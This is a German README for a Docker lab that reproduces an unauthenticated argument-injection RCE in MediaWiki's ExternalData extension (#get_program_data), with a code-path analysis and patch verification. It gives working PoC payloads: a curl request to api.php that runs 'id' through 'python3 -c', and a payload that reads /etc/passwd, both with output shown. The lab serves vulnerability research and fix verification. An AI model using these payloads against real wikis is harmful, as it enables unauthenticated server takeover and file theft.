
Docker-Lab zur Reproduktion von CVE-2026-100382: unauthentifizierte Argument-Injection-RCE in MediaWiki ExternalData's #get_program_data, mit PoC-Payloads und Patch-Verifikation.
1.43 (offizielles Image, SQLite) + ExternalData 3.6.1 (letzte verwundbare Version),
schreibgeschützt gemountet von ../mediawiki-extensions-ExternalData.127.0.0.1:${HOST_PORT} (Standard 8080).action=parse sind aktiviert (MediaWiki-Standardeinstellungen) - der PoC benötigt keine Anmeldung.cd lab
./up.sh # installiert, lädt ExternalData 3.6.1, legt verwundbare Quellen an, gibt URL aus
./down.sh # docker compose down -v + .env löschen
entrypoint.sh legt eine exec-Quelle an, die dem dokumentierten Zweck von
#get_program_data entspricht - ein serverseitiges Programm für Bearbeiter verfügbar zu machen,
indem ein Benutzerparameter in die Kommandozeile übergeben wird - ohne einen restriktiven
param filters-Eintrag (die Erweiterung erfordert keinen):
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // Benutzerparameter interpoliert
'params' => [ 'options' ],
'format' => 'text',
];
Beabsichtigte Verwendung: {{#get_program_data: program=chart | options=--dpi=120 }}
-> führt python3 --dpi=120 /srv/chart.py aus.
EDConnectorBase::supplementParams() interpoliert Benutzerparameter in das wiki-weite
command-Template via strtr (EDConnectorBase.php:461-470,560).EDConnectorExe::__construct() führt dann explode(' ', $command) aus
(EDConnectorExe.php:92) - der interpolierte Benutzerwert wird an Leerzeichen in
separate argv-Token ohne erneutes Quoting aufgeteilt.run() führt Shell::command($command)->execute() aus (EDConnectorExe.php:139).
Shell::command() shell-escaped jedes Token, sodass Shell-Metazeichen (;, |)
inert sind - dies ist Argument-Injektion (CWE-88 / CWE-78), keine naive Shell-
Injektion. Die Kontrolle über zusätzliche argv des Zielprogramms (hier python3 -c)
ermöglicht vollständige Codeausführung.command nicht direkt angeben - die eingebaute Wildcard-*-
Quelle erzwingt command => null, was ein benutzerseitig angegebenes command entfernt. Der
Vektor ist daher die Parameterinterpolation in einen admin-definierten Befehl.$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Austausch der gemounteten Erweiterung gegen Tag 3.7 und erneutes Ausführen des GLEICHEN Payloads:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
3.7 deaktiviert EDConnectorExe standardmäßig ($wgExternalDataDisabledClasses, Bug T434961).
Einschränkung: Der Sink-Code ist unverändert - ein Wiki, das EDConnectorExe aus dieser Liste entfernt,
um #get_program_data weiter zu verwenden, bleibt vollständig ausnutzbar.